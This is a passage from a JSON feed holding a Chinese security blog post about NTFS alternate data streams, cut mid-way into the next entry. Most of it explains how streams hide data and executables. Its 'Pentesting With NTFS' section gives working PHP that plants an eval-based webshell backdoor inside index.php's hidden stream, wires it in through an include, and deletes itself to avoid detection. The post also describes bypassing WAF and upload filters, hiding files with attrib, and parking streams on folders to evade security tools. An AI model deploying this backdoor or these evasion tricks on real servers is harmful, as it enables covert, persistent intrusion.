mstlab&gt;&gt;mst.txt:test.txt<\/code>\uff0c\u5219\u5728\u5f53\u524d\u76ee\u5f55\u4e0b\u4f1a\u751f\u6210\u4e00\u4e2a\u540d\u4e3amst.txt\u7684\u6587\u4ef6\uff0c\u4f46\u6587\u4ef6\u7684\u5927\u5c0f\u4e3a0\u5b57\u8282\uff0c\u6253\u5f00\u540e\u4e5f\u65e0\u4efb\u4f55\u5185\u5bb9\u3002<\/p>\n\n<p><img src=\"\/images\/2017-03-29\/0.jpg\" alt=\"ntfs\" \/><\/p>\n\n<p>\u53ea\u6709\u8f93\u5165\u547d\u4ee4\uff1anotepad mst.txt:test.txt \u624d\u80fd\u770b\u89c1\u5199\u5165\u7684mstlab<\/p>\n\n<p><img src=\"\/images\/2017-03-29\/1.jpg\" alt=\"ntfs\" \/><\/p>\n\n<p>\u5728\u4e0a\u8fb9\u7684\u547d\u4ee4\u4e2d\uff0cmst.txt\u53ef\u4ee5\u4e0d\u5b58\u5728\uff0c\u4e5f\u53ef\u4ee5\u662f\u67d0\u4e2a\u5df2\u5b58\u7684\u6587\u4ef6\uff0c\u6587\u4ef6\u683c\u5f0f\u65e0\u6240\u8c13\uff0c\u65e0\u8bba\u662f.txt\u8fd8\u662f.jpg|.exe|.asp\u90fd\u884cb.txt\u4e5f\u53ef\u4ee5\u4efb\u610f\u6307\u5b9a\u6587\u4ef6\u540d\u4ee5\u53ca\u540e\u7f00\u540d\u3002\uff08\u53ef\u4ee5\u5c06\u4efb\u610f\u6587\u672c\u4fe1\u606f\u9690\u85cf\u4e8e\u4efb\u610f\u6587\u4ef6\u4e2d\uff0c\u53ea\u8981\u4e0d\u6cc4\u9732\u5192\u53f7\u540e\u7684\u865a\u62df\u6587\u4ef6\u540d(\u5373test.txt)\uff0c\u522b\u4eba\u662f\u6839\u672c\u4e0d\u4f1a\u67e5\u770b\u5230\u9690\u85cf\u4fe1\u606f\u7684\uff09<\/p>\n\n<p><img src=\"\/images\/2017-03-29\/2.jpg\" alt=\"ntfs\" \/><\/p>\n\n<p>\u5305\u542b\u9690\u85cf\u4fe1\u606f\u7684\u6587\u4ef6\u4ecd\u7136\u53ef\u4ee5\u7ee7\u7eed\u9690\u85cf\u5176\u5b83\u7684\u5185\u5bb9\uff0c\u5bf9\u6bd4\u4e0a\u4f8b\uff0c\u6211\u4eec\u4ecd\u7136\u53ef\u4ee5\u4f7f\u7528\u547d\u4ee4<code>echo \nmstlab1&gt;&gt;mst.txt:test1.txt<\/code>\u7ed9mst.txt\u5efa\u7acb\u65b0\u7684\u9690\u85cf\u4fe1\u606f\u7684\u6d41\u6587\u4ef6\uff0c\u4f7f\u7528\u547d\u4ee4<code>notepad \nmst.txt:test1.txt<\/code>\u6253\u5f00\u540e\u4f1a\u53d1\u73b0mstlab1\u8fd9\u6bb5\u4fe1\u606f\uff0c\u800cmstlab\u4ecd\u7136\u5b58\u5728\u4e8emst.txt:test.txt\u4e2d\u4e1d\u6beb\u4e0d\u53d7\u5f71\u54cd<\/p>\n\n<p><img src=\"\/images\/2017-03-29\/3.jpg\" alt=\"ntfs\" \/><\/p>\n\n<p>\u6240\u4ee5\u8fd9\u91cc\u7684\u5bbf\u4e3bmst.txt\u6210\u529f\u7684\u88abtest.txt\u548ctest1.txt\u6240\u5bc4\u751f\uff0c\u800c\u5728\u8fd9\u91cc\u7684\u5fae\u5999\u5173\u7cfb\u663e\u800c\u6613\u89c1\uff0c\u5bbf\u4e3b\u6d88\u5931\u5bc4\u751f\u6d88\u5931\u3002<\/p>\n\n<h2 id=\"ntfs\u7279\u6027\u548c\u539f\u7406\u5206\u6790\">NTFS\u7279\u6027\u548c\u539f\u7406\u5206\u6790<\/h2>\n\n<h3 id=\"\u7279\u60271\">\u7279\u60271<\/h3>\n\n<p>\u5b9e\u9a8c\u5de5\u5177\u4e0b\u8f7d\uff1a<a href=\"http:\/\/link.zhihu.com\/?target=https%3A\/\/github.com\/wangyongxina\/filestreams\/blob\/master\/Release\/Release.7z\">https:\/\/github.com\/wangyongxina\/filestreams\/blob\/master\/Release\/Release.7z<\/a><\/p>\n\n<p><strong>\u5de5\u5177\u4f7f\u7528\u8bf4\u660e\uff1a<\/strong><\/p>\n\n<blockquote>\n  <p>create      \u521b\u5efa\u6587\u4ef6\u6d41<\/p>\n\n  <p>enum       \u5217\u4e3e\u6587\u4ef6\u6d41<\/p>\n\n  <p>delete      \u5220\u9664\u6587\u4ef6\u6d41<\/p>\n\n  <p>write       \u5199\u5165\u5185\u5bb9\u5230\u6587\u4ef6\u6d41<\/p>\n\n  <p>append     \u589e\u52a0\u6587\u4ef6\u5230\u6587\u4ef6\u6d41<\/p>\n\n  <p>launch      \u6267\u884c\u6587\u4ef6\u6d41\u7684\u5185\u5bb9<\/p>\n\n  <p>dump       \u8bfb\u53d6\u6587\u4ef6\u6d41\u7684\u5185\u5bb9<\/p>\n<\/blockquote>\n\n<p>\u6211\u4eec\u8ba9\u4e0a\u4e00\u6b65\u9aa4\u5f52\u96f6\uff0c\u91cd\u65b0\u6765\u770b\u770bmst.txt\uff1a<\/p>\n\n<p><img src=\"\/images\/2017-03-29\/4.jpg\" alt=\"ntfs\" \/><\/p>\n\n<p>\u800c\u8fd9\u91cc\u7684default\u6587\u4ef6\u6d41\u5c31\u9a8c\u8bc1\u4e86\u6700\u5f00\u5934\u7684\u4e00\u53e5\u8bdd\uff0c\u9ed8\u8ba4\u4f7f\u7528\u7684\u662f\u4e3a\u547d\u540d\u7684\u6587\u4ef6\u6d41\u3002<\/p>\n\n<p>\u5b9e\u9a8c\u5f00\u59cb\uff0c\u9996\u5148\u6211\u4eec\u4f7f\u7528FileStreams.exe\u521b\u5efa\u4e00\u4e2a\u6587\u4ef6\u6d41vkey\uff1a<\/p>\n\n<pre><code class=\"language-shell\">FileStreams.exe create mst.txt vkey\n<\/code><\/pre>\n\n<p>\u7136\u540e\u5199\u5165\u5185\u5bb9\u5230\u6587\u4ef6\u6d41vkey\uff1a<\/p>\n\n<pre><code class=\"language-shell\">FileStreams.exe write mst.txt vkey content\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2017-03-29\/5.jpg\" alt=\"ntfs\" \/><\/p>\n\n<p>\u518d\u6765\u67e5\u770b\u6587\u4ef6\u6d41vkey\u7684\u5185\u5bb9\uff1a<\/p>\n\n<pre><code class=\"language-shell\">FileStreams.exe dump mst.txt vkey 14 \n<\/code><\/pre>\n\n<p>\u8fd9\u91cc\u768414\u4ece\u4f55\u800c\u6765\uff0c\u76f8\u4fe1\u806a\u660e\u7684\u4f60\u4eec\u80fd\u660e\u767d\u3002\uff08\u6587\u4ef6\u6d41vkey\u5927\u5c0f 14\uff09<\/p>\n\n<p><img src=\"\/images\/2017-03-29\/6.png\" alt=\"ntfs\" \/><\/p>\n\n<p>\u6700\u5f00\u59cb\u4e5f\u8bf4\u4e86\uff0c\u6587\u4ef6\u6d41\u662f\u53ef\u4ee5\u7528\u6765\u542f\u52a8\u7a0b\u5e8f\u7684\uff0c\u6211\u4eec\u6765\u8bd5\u8bd5\uff1a<\/p>\n\n<ul>\n  <li>\n    <p>\u52a0\u5165\u6587\u4ef6\u5230\u6587\u4ef6\u6d41vkey\uff1a<\/p>\n\n    <p><code>FileStreams.exe append mst.txt vkey C:\\Users\\gh0stkey\\Desktop\\test\\FileStreams.exe<\/code><\/p>\n\n    <p><img src=\"\/images\/2017-03-29\/7.jpg\" alt=\"ntfs\" \/><\/p>\n  <\/li>\n  <li>\n    <p>\u67e5\u770b\u6587\u4ef6\u6d41vkey\u7684\u5185\u5bb9\uff0c\u8fd9\u91cc\u5c31\u770b\u524d100\u4e2a\u5b57\u8282\u7684\u5185\u5bb9\uff1a<\/p>\n\n    <p><code>FileStreams.exe dump mst.txt vkey 100<\/code><\/p>\n  <\/li>\n<\/ul>\n\n<p><img src=\"\/images\/2017-03-29\/8.png\" alt=\"ntfs\" \/><\/p>\n\n<ul>\n  <li>\n    <p>\u6267\u884c\u6587\u4ef6\u6d41vkey\uff1a<\/p>\n\n    <p>\u987a\u5229\u7684\u6267\u884c\u4e86 <code>C:\\Users\\gh0stkey\\Desktop\\test\\FileStreams.exe<\/code> \u8fd9\u4e2a\u6587\u4ef6\u3002<\/p>\n  <\/li>\n<\/ul>\n\n<p><img src=\"\/images\/2017-03-29\/9.png\" alt=\"ntfs\" \/><\/p>\n\n<h3 id=\"\u7279\u60272\">\u7279\u60272<\/h3>\n\n<p>\u81ea\u52a8\u521b\u5efa\u7a7a\u6587\u4ef6\uff1a<\/p>\n\n<p><img src=\"\/images\/2017-03-29\/10.png\" alt=\"ntfs\" \/><\/p>\n\n<p>\u81ea\u52a8\u521b\u5efa\u5bbf\u4e3b\uff0c\u7136\u540e\u5bc4\u751f\u3002<\/p>\n\n<p>\u5728\u6ca1\u6709\u539f\u6587\u4ef6\u7684\u60c5\u51b5\u4e0b\u521b\u5efa\u6587\u4ef6\u6d41\uff0c\u4f1a\u81ea\u52a8\u521b\u5efa\u4e00\u4e2a\u7a7a\u6587\u4ef6\u3002<\/p>\n\n<p><strong>\u539f\u7406\u5206\u6790\uff1a<\/strong><\/p>\n\n<p>\u597d\uff0c\u73b0\u5728\u6211\u4eec\u4ee5\u53ca\u521d\u6b65\u4e86\u89e3\u4e86\u6587\u4ef6\u6d41\u7684\u7279\u6027\u3002\u518d\u6765\u770b\u770bNTFS\u6587\u4ef6\u6d41\u5b9e\u73b0\u539f\u7406\uff1a<\/p>\n\n<p>\u5982\u6587\u4ef6\u5927\u5c0f\uff0c\u6587\u4ef6\u521b\u5efa\u65f6\u95f4\uff0c\u6587\u4ef6\u4fee\u6539\u65f6\u95f4\uff0c\u6587\u4ef6\u540d\uff0c\u6587\u4ef6\u5185\u5bb9\u7b49\u88ab\u7ec4\u7ec7\u6210\u5c5e\u6027\u6765\u5b58\u653e\uff0cNTFS\u5b9a\u4e49\u4e86\u4e00\u5e8f\u5217\u7684\u6587\u4ef6\u5c5e\u6027\uff1a<\/p>\n\n<p><img src=\"\/images\/2017-03-29\/11.png\" alt=\"ntfs\" \/><\/p>\n\n<p>\u8be6\u7ec6\u8bf4\u660e\u53ef\u4ee5\u641c\u7d22NTFS3G\uff0c\u8fd9\u4e9b\u5c5e\u6027\u7edf\u4e00\u7ec4\u7ec7\u5728NTFS\u7684MFT\uff08Master File \nTable\uff09\u4e0a\uff0c\u6bcf\u4e2aMFT\u5927\u5c0f1024\u4e2a\u5b57\u8282\uff0cMFT\u7684$DATA\u5c5e\u6027\u5373\u662f\u524d\u9762\u63d0\u5230\u7684\u6587\u4ef6\u6d41\uff0c\u901a\u5e38\u6765\u8bf4\u5305\u542b\u591a\u4e2a\u4e0d\u540c\u540d\u5b57\u7684$DATA\u5c5e\u6027\u5373\u8bf4\u660e\u8be5\u6587\u4ef6\u5b58\u5728\u591a\u4e2a\u6587\u4ef6\u6d41\uff0c\u4e0b\u56fe\u662fwinhex\u6253\u5f001.txt\u5b9a\u4f4d\u52301.txt\u7684MFT\uff0c\u6211\u4eec\u5b9e\u9645\u770b\u4e00\u4e0bNTFS\u662f\u5982\u4f55\u7ec4\u7ec7\u7684\uff1a<\/p>\n\n<p><img src=\"\/images\/2017-03-29\/12.png\" alt=\"ntfs\" \/><\/p>\n\n<h2 id=\"pentesting-with-ntfs\">Pentesting With NTFS<\/h2>\n\n<h3 id=\"webshell\u540e\u95e8\u9690\u85cf\">Webshell\u540e\u95e8\u9690\u85cf<\/h3>\n\n<p>\u5199\u4e00\u4e2aPHP\u7684Webshell\uff0c\u9996\u5148\u7f51\u7ad9\u7684\u9ed8\u8ba4\u9996\u9875\u662findex.php\uff0c\u6240\u4ee5\u4f7f\u7528\u4e86\u7b2c\u4e00\u6bb5\u4ee3\u7801\uff1a<\/p>\n\n<pre><code class=\"language-php\">exec('echo \"&lt;?php @eval($_POST[key]);?&gt;\"&gt;&gt;index.php:key.php');\n<\/code><\/pre>\n\n<p>\u76f4\u63a5\u5199\u4e00\u4e2a\u4e00\u53e5\u8bdd\u5185\u5bb9\u5230key.php\u8fd9\u4e2a\u6587\u4ef6\u6d41\u4e2d\u3002 \n\u5176\u6b21\uff0c\u6587\u4ef6\u6d41\u662f\u4e0d\u53ef\u80fd\u76f4\u63a5\u6267\u884c\u7684\uff0c\u4f46\u662fPHP\u53ef\u4ee5\u4f7f\u7528\u5305\u542b\u51fd\u6570\uff1a<\/p>\n\n<pre><code class=\"language-php\">$key = &lt;&lt;&lt;key \necho \"&lt;?php include 'index.php:key.php';?&gt;\"&gt;&gt;a.php \nkey; \nexec($key); \n<\/code><\/pre>\n\n<p>\u6700\u540e\uff0c\u4e3a\u4e86\u4e0d\u88ab\u53d1\u73b0\u8981\u5220\u9664\u672c\u8eab\u6587\u4ef6\uff1a<\/p>\n\n<pre><code class=\"language-php\">$url = $_SERVER['PHP_SELF']; \n$filename= substr($url,strrpos($url,'\/')+1); \n@unlink($filename); \n<\/code><\/pre>\n\n<p>\u6700\u7ec8\u4ee3\u7801\uff1a<\/p>\n\n<pre><code class=\"language-php\">&lt;?php\nexec('echo \"&lt;?php @eval($_POST[key]);?&gt;\"&gt;&gt;index.php:key.php');\n\n$key = &lt;&lt;&lt;key\necho \"&lt;?php include 'index.php:key.php';?&gt;\"&gt;&gt;a.php\nkey;\n\nexec($key);\n$url = $_SERVER['PHP_SELF'];\n$filename= substr($url,strrpos($url,'\/')+1);\n@unlink($filename);\n?&gt; \n<\/code><\/pre>\n\n<p><img src=\"\/images\/2017-03-29\/13.jpg\" alt=\"ntfs\" \/><\/p>\n\n<h3 id=\"\u8f6f\u4ef6\u540e\u95e8\u9690\u85cf\">\u8f6f\u4ef6\u540e\u95e8\u9690\u85cf<\/h3>\n\n<p>\u4f7f\u7528\u7279\u60271\u5199\u4e00\u6bb5\u4ee3\u7801\u540e\u53f0\u81ea\u52a8\u8fd0\u884c\u8fd9\u4e2a\u6587\u4ef6\u6d41\u5373\u53ef\u3002<\/p>\n\n<h3 id=\"bypass-waf\">ByPass WAF<\/h3>\n\n<h4 id=\"\u6587\u4ef6\u4e0a\u4f20\">\u6587\u4ef6\u4e0a\u4f20<\/h4>\n\n<p>\u5728\u6587\u4ef6\u4e0a\u4f20\u7684\u65f6\u5019\u53ef\u4ee5\u76f4\u63a5ByPass Waf\u89c4\u5219\uff0c\u4f46\u662f\u8f83\u4e3a\u9e21\u808b\u9700\u8981\u642d\u914d\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\uff1a<\/p>\n\n<p><img src=\"\/images\/2017-03-29\/14.png\" alt=\"ntfs\" \/><\/p>\n\n<h4 id=\"bypas-\u67e5\u6740\">Bypas \u67e5\u6740<\/h4>\n\n<p>\u5229\u7528\u4e0b\u9762\u7684\u9ed8\u8ba4\u6d41\u66ff\u6362\u7279\u6027\u4e0a\u4f20\u6587\u4ef6\u540d\u4e3a1.php:\u7684\u6587\u4ef6\uff0c\u7ed5\u8fc7\u540e\u7f00\u540d\u9650\u5236\u5373\u53ef\u3002<\/p>\n\n<p>\u5f53\u7136\u4f60\u4e5f\u53ef\u4ee5\u505a\u4e00\u4e2a\u6301\u7eed\u6027webshell\u540e\u95e8\uff0c\u7136\u540e\u4f7f\u7528include\u5305\u542b\u8d77\u6765\u5373\u53ef\u5229\u7528\uff1a<\/p>\n\n<p><img src=\"\/images\/2017-03-29\/15.jpg\" alt=\"ntfs\" \/><\/p>\n\n<h3 id=\"\u9ed8\u8ba4\u6d41\u66ff\u6362\">\u9ed8\u8ba4\u6d41\u66ff\u6362<\/h3>\n\n<p>\u9ed8\u8ba4\u6d41\u4e5f\u5c31\u662f\u5bbf\u4e3b\u81ea\u8eab\u7684\uff0c\u8fd9\u91cc\u5b8c\u5168\u53ef\u4ee5\u541e\u566c\u5bbf\u4e3b\uff0c\u6210\u4e3a\u5bbf\u4e3b\u3002<\/p>\n\n<p>\u8fd9\u4e2a\u65b9\u6cd5\u7b97\u662f\u6253\u7834\u5e38\u89c4\u7684\u8ba4\u8bc6\u4e86\uff0c\u5f88\u6709\u610f\u601d\u3002<\/p>\n\n<p>\u5982\u56fe\uff0c\u6211\u4eec\u76f4\u63a5\u6267\u884c<code>echo xxxx&gt;&gt;1.txt:<\/code>\uff0c\u53ef\u66ff\u6362\u9ed8\u8ba4\u6d41:<\/p>\n\n<p><img src=\"\/images\/2017-03-29\/16.jpg\" alt=\"ntfs\" \/><\/p>\n\n<p>\u5f53\u7136\u5982\u679c\u5bbf\u4e3b\u4e0d\u5b58\u5728\uff0c\u5c06\u4f1a\u521b\u5efa\u5bbf\u4e3b\u5e76\u4e14\u541e\u566c\u5bbf\u4e3b\uff0c\u4ece\u800c\u6210\u4e3a\u5bbf\u4e3b\u3002<\/p>\n\n<h2 id=\"ntfs\u5c40\u9650\u6027\">NTFS\u5c40\u9650\u6027<\/h2>\n\n<p>\u8fd9\u4e2aNTFS\u6570\u636e\u6d41\u6587\u4ef6\uff0c\u4e5f\u53ebAlternate data  streams\uff0c\u7b80\u79f0ADS\uff0c\u662fNTFS\u6587\u4ef6\u7cfb\u7edf\u7684\u4e00\u4e2a\u7279\u6027\u4e4b\u4e00\uff0c\u5141\u8bb8\u5355\u72ec\u7684\u6570\u636e\u6d41\u6587\u4ef6\u5b58\u5728\uff0c\u540c\u65f6\u4e5f\u5141\u8bb8\u4e00\u4e2a\u6587\u4ef6\u9644\u7740\u591a\u4e2a\u6570\u636e\u6d41\uff0c\u5373\u9664\u4e86\u4e3b\u6587\u4ef6\u6d41\u4e4b\u5916\u8fd8\u5141\u8bb8\u8bb8\u591a\u975e\u4e3b\u6587\u4ef6\u6d41\u5bc4\u751f\u5728\u4e3b\u6587\u4ef6\u6d41\u4e4b\u4e2d\uff0c\u5b83\u4f7f\u7528\u8d44\u6e90\u6d3e\u751f\u7684\u65b9\u5f0f\u6765\u7ef4\u6301\u4e0e\u6587\u4ef6\u76f8\u5173\u4fe1\u606f\uff0c\u5e76\u4e14\u8fd9\u4e9b\u5bc4\u751f\u7684\u6570\u636e\u6d41\u6587\u4ef6\u6211\u4eec\u4f7f\u7528\u8d44\u6e90\u7ba1\u7406\u5668\u662f\u770b\u4e0d\u5230\u7684\u3002<\/p>\n\n<p><strong>2\u3001\u4e3a\u4ec0\u4e48NTFS\u6709\u6570\u636e\u6d41\u8fd9\u4e2a\u7279\u6027\uff1f<\/strong>\n\u539f\u610f\u662f\u4e3a\u4e86\u548cMacintosh\u7684HFS\u6587\u4ef6\u7cfb\u7edf\u517c\u5bb9\u800c\u8bbe\u8ba1\u7684\uff0c\u4f7f\u7528\u8fd9\u79cd\u6280\u672f\u53ef\u4ee5\u5728\u4e00\u4e2a\u6587\u4ef6\u8d44\u6e90\u91cc\u5199\u5165\u76f8\u5173\u6570\u636e(\u5e76\u4e0d\u662f\u5199\u5165\u6587\u4ef6\u4e2d)\uff0c\u800c\u4e14\u5199\u8fdb\u53bb\u7684\u6570\u636e\u53ef\u4ee5\u4f7f\u7528\u5f88\u7b80\u5355\u7684\u65b9\u6cd5\u628a\u5b83\u63d0\u53d6\u51fa\u6765\u4f5c\u4e3a\u4e00\u4e2a\u72ec\u7acb\u6587\u4ef6\u8bfb\u53d6\uff0c\u751a\u81f3\u6267\u884c\u3002<\/p>\n\n<p><strong>3\u3001\u4e3a\u4ec0\u4e48\u8d44\u6e90\u7ba1\u7406\u5668\u91cc\u9762\u770b\u4e0d\u5230\u6587\u4ef6\u6240\u5e26\u7684\u6570\u636e\u6d41\u6587\u4ef6\u5462\uff1f<\/strong>\n\u6211\u4eec\u4e4b\u6240\u4ee5\u65e0\u6cd5\u5728\u7cfb\u7edf\u4e2d\u770b\u5230NTFS\u6570\u636e\u6d41\u6587\u4ef6\uff0c\u662f\u56e0\u4e3aWindows\u4e2d\u7684\u5f88\u591a\u5de5\u5177\u5bf9\u6570\u636e\u6d41\u6587\u4ef6\u7684\u652f\u6301\u5e76\u4e0d\u662f\u5f88\u597d\uff0c\u5c31\u50cf\u201c\u8d44\u6e90\u7ba1\u7406\u5668\u201d\uff0c\u6211\u4eec\u65e0\u6cd5\u5728\u201c\u8d44\u6e90\u7ba1\u7406\u5668\u201d\u4e2d\u770b\u5230\u6709\u5173\u6570\u636e\u6d41\u6587\u4ef6\u7684\u53d8\u5316\u3002<\/p>\n\n<p>\u4e0d\u8fc7\u8fd9\u4e2a\u539f\u56e0\u5f88\u5947\u602a\uff0c\u540c\u6837\u662fMS\u81ea\u5df1\u505a\u7684\u4e1c\u897f\uff0c\u201d\u8d44\u6e90\u7ba1\u7406\u5668\u90fd\u652f\u6301\u4e0d\u597d\uff0c\u8fd8\u6709\u5565\u5de5\u5177\u80fd\u652f\u6301\u597d\u5462\uff1f\u201d   \uff0c\u540e\u6765\u518d\u60f3\uff0c\u4e5f\u53ef\u80fd\u662f\u8fd9\u6837\u4e00\u4e2a\u539f\u56e0\uff1a\u5728\u5f53\u65f6\u5199\u6709\u5173NTFS\u6587\u4ef6\u7cfb\u7edf\u7684\u6570\u636e\u6d41\u5b58\u50a8\u7684\u65f6\u5019\u5f88\u591aWINDOWS\u5de5\u5177\u6ca1\u6709\u76f8\u5e94\u7684\u66f4\u65b0\uff0c\u540c\u65f6\u5462NTFS\u6d41\u7684\u663e\u793a\u4e0e\u666e\u901a\u7684\u6587\u4ef6\u4e0d\u4e00\u6837\uff0c\u9700\u8981\u4f7f\u7528\u5176\u4ed6\u7684\u679a\u4e3e\u65b9\u5f0f\u6765\u5b8c\u6210\uff0c\u518d\u6709NTFS\u5bf9\u5e7f\u5927\u666e\u901a\u7528\u6237\u684c\u9762\u7528\u6237\u6765\u8bf4\u6ca1\u6709\u5fc5\u8981\u53bb\u770b\u5230\uff0c\u66f4\u591a\u7684\u662f\u88ab\u4e13\u4e1a\u8f6f\u4ef6\u6240\u4f7f\u7528\uff0c\u5373\u4f7f\u663e\u793a\u51fa\u6765\u4e5f\u6ca1\u610f\u4e49\u3002<\/p>\n\n<p><strong>OK\uff0c\u8fdb\u5165\u6b63\u9898\uff0c\u90a3\u4e48\u6211\u4eec\u4eca\u5929\u6765\u5206\u6790\u4e0bNTFS\u6587\u4ef6\u6d41\u8fd9\u4e2a\u5bc4\u751f\u866b\u7684\u4e00\u4e9b\u201c\u7f3a\u70b9\u201d<\/strong><\/p>\n\n<ol>\n  <li>\u5bbf\u4e3b\u9700\u6c42\uff0c\u5bc4\u751f\u866b\u9700\u8981\u5bbf\u4e3b\u624d\u53ef\u4ee5\u7e41\u884d\u3002<\/li>\n<\/ol>\n\n<p><img src=\"\/images\/2017-03-29\/17.jpg\" alt=\"ntfs\" \/><\/p>\n\n<ol>\n  <li>\u5171\u5b58\u72b6\u6001\u3002\u5bbf\u4e3b\u6b7b\u4ea1\uff0c\u5bc4\u751f\u866b\u968f\u4e4b\u6b7b\u4ea1\u3002<\/li>\n<\/ol>\n\n<h3 id=\"\u5c40\u9650\u70b9\u7a81\u7834\">\u5c40\u9650\u70b9\u7a81\u7834<\/h3>\n\n<h4 id=\"\u5bbf\u4e3b\u9700\u6c42\">\u5bbf\u4e3b\u9700\u6c42<\/h4>\n\n<h5 id=\"\u6d4b\u8bd51\">\u6d4b\u8bd51<\/h5>\n\n<p>\u4e00\u5f00\u59cb\u611f\u89c9\u65e0\u540e\u7f00\u540d\u7684\u4f1a\u88abwindows\u81ea\u52a8\u9690\u85cf\u8d77\u6765\uff0c\u6240\u4ee5\u8f93\u5165\u547d\u4ee4\uff1a<code>echo mstsec&gt;&gt;hi:ourlife.txt<\/code><\/p>\n\n<p><img src=\"\/images\/2017-03-29\/18.png\" alt=\"ntfs\" \/><\/p>\n\n<p>\u7136\u800c\u662f\u81ea\u5df1\u60f3\u591a\u4e86\u3002\u3002\u3002<\/p>\n\n<h5 id=\"\u6d4b\u8bd52\">\u6d4b\u8bd52<\/h5>\n\n<p>\u540e\u6765\u60f3\u4e86\u4e0b\uff0cWindows\u8d44\u6e90\u7ba1\u7406\u5668\u662f\u53ef\u4ee5\u9690\u85cf\u6587\u4ef6\u7684\uff0c\u800c\u9ed8\u8ba4\u7684\u670d\u52a1\u5668\u9690\u85cf\u6587\u4ef6\u662f\u770b\u4e0d\u89c1\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5bbf\u4e3b\u662f\u53ef\u4ee5\u9690\u85cf\u7684<\/p>\n\n<blockquote>\n  <p>\u547d\u4ee4\uff1aattrib +s +h hi\n\u89e3\u91ca\uff1aattrib\u547d\u4ee4\u7684\u610f\u601d\uff0c+s\u662f\u4e3a\u6587\u4ef6\u6dfb\u52a0\u7cfb\u7edf\u6587\u4ef6\u5c5e\u6027\uff0c+h\u662f\u6dfb\u52a0\u9690\u85cf\u5c5e\u6027\u7684\u610f\u601d\u3002<\/p>\n<\/blockquote>\n\n<p><img src=\"\/images\/2017-03-29\/19.jpg\" alt=\"ntfs\" \/><\/p>\n\n<p>\u6b64\u65b9\u6cd5\u53ef\u884c\uff0c\u5728\u4e00\u5b9a\u7684\u7a0b\u5ea6\u4e0a\u4fdd\u62a4\u4e86\u54b1\u4eec\u7684\u5bc4\u751f\u866b\u3002<\/p>\n\n<p>\u4f46\u662f\u6211\u8fd9\u4e2a\u4eba\u5427\uff0c\u6709\u4e00\u4e2a\u6bdb\u75c5\uff0c\u5f3a\u8feb\u75c7\uff0c\u5c31\u611f\u89c9\u4e0d\u8212\u670d\uff0c\u4e8e\u662f\u5c31\u5f00\u59cb\u4e86\u66f4\u9690\u853d\u7684\u6d4b\u8bd5\u3002<\/p>\n\n<h5 id=\"\u6d4b\u8bd53\">\u6d4b\u8bd53<\/h5>\n\n<p>\u6211\u91cd\u65b0\u7406\u4e86\u4e00\u4e0b\u601d\u8def\uff0c\u65e2\u7136\u662f\u65e0\u5bbf\u4e3b\uff0c\u90a3\u4e48\u5c31\u987a\u7740\u8fd9\u4e2a\u8def\u7ebf\u5f00\u59cb\u6162\u6162\u7684\u63a8\u8fdb\uff0c\u90a3\u5c31\u8bd5\u8bd5\u65e0\u5bbf\u4e3b\u81ea\u4f53\u7e41\u884d\uff1a<\/p>\n\n<p>\u6b63\u5e38\u5bbf\u4e3b\u5bc4\u751f\u547d\u4ee4\uff1a<code>echo gh0stkey&gt;&gt;www:hiourlife.txt<\/code>\nwww\u662f\u5bbf\u4e3b\u6587\u4ef6\uff0c\u65e0\u5bbf\u4e3b\u5c31\u5220\u6389www\u5457~\n\u4fee\u6539\u540e\u7684\u547d\u4ee4\uff1a<code>echo gh0stkey&gt;&gt;:hiourlife.txt<\/code><\/p>\n\n<p><img src=\"\/images\/2017-03-29\/20.jpg\" alt=\"ntfs\" \/><\/p>\n\n<p>\u7ed3\u679c\uff1a\u65e0\u5bbf\u4e3b\u5bc4\u751f\uff0c\u5b8c\u5168\u662f\u53ef\u4ee5\u7684\u3002<strong>\u6d4b\u8bd53\u6210\u529f<\/strong><\/p>\n\n<p>\u5176\u5b9e\u8fd9\u4e2a\u547d\u4ee4\u5c31\u662f\u5c06\u5bc4\u751f\u866b\u5bc4\u751f\u5230\u6587\u4ef6\u5939\u4e0a\uff0c\u8f6c\u6362\u4e00\u4e0b\u547d\u4ee4\u5c31\u6210\u4e86\uff1a<\/p>\n\n<pre><code class=\"language-shell\">echo gh0stkey&gt;&gt;\/:hiourlife.txt\n<\/code><\/pre>\n\n<p>\u90a3\u4e48\u8fd0\u7528\u5728\u5b9e\u9645\u6d4b\u8bd5\u4e2d\uff0c\u53ea\u8981\u76ee\u5f55\u4e0d\u53d8\u52a8\uff0c\u5c31\u4e0d\u4f1a\u88ab\uff08\u5b89\u5168\u72d7\u4e4b\u7c7b\u7684WAF\uff09\u53d1\u73b0<\/p>\n\n<p><img src=\"\/images\/2017-03-29\/21.jpg\" alt=\"ntfs\" \/><\/p>\n\n<p><img src=\"\/images\/2017-03-29\/22.png\" alt=\"ntfs\" \/><\/p>\n\n<h1 id=\"end\">END<\/h1>\n\n<p>\u539f\u6587\u4ef6=\u5bbf\u4e3b\uff0c\u6587\u4ef6\u6d41=\u5bc4\u751f\u866b\u3002\u5404\u4f4d\u670b\u53cb\u6839\u636e\u6839\u636e\u8fd9\u7bc7\u6587\u7ae0\u7684\u57fa\u7840\u7ee7\u7eed\u6df1\u5165\u7814\u7a76\uff0c\u628a\u6587\u4ef6\u6d41\u5e94\u7528\u4e8e\u5404\u79cd\u64cd\u4f5c\u4e4b\u4e2d\uff0c\u9020\u51fa\u201d\u7325\u7410\u201d\u6d41\u3002<\/p>\n","pubDate":"2017-03-29T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2017-03-29\/1","guid":"https:\/\/gh0st.cn\/archives\/2017-03-29\/1"},{"title":"\u79fb\u4f4d\u6ea2\u6ce8\uff1a\u544a\u522b\u4f9d\u9760\u4eba\u54c1\u7684\u504f\u79fb\u6ce8\u5165","description":"<h2 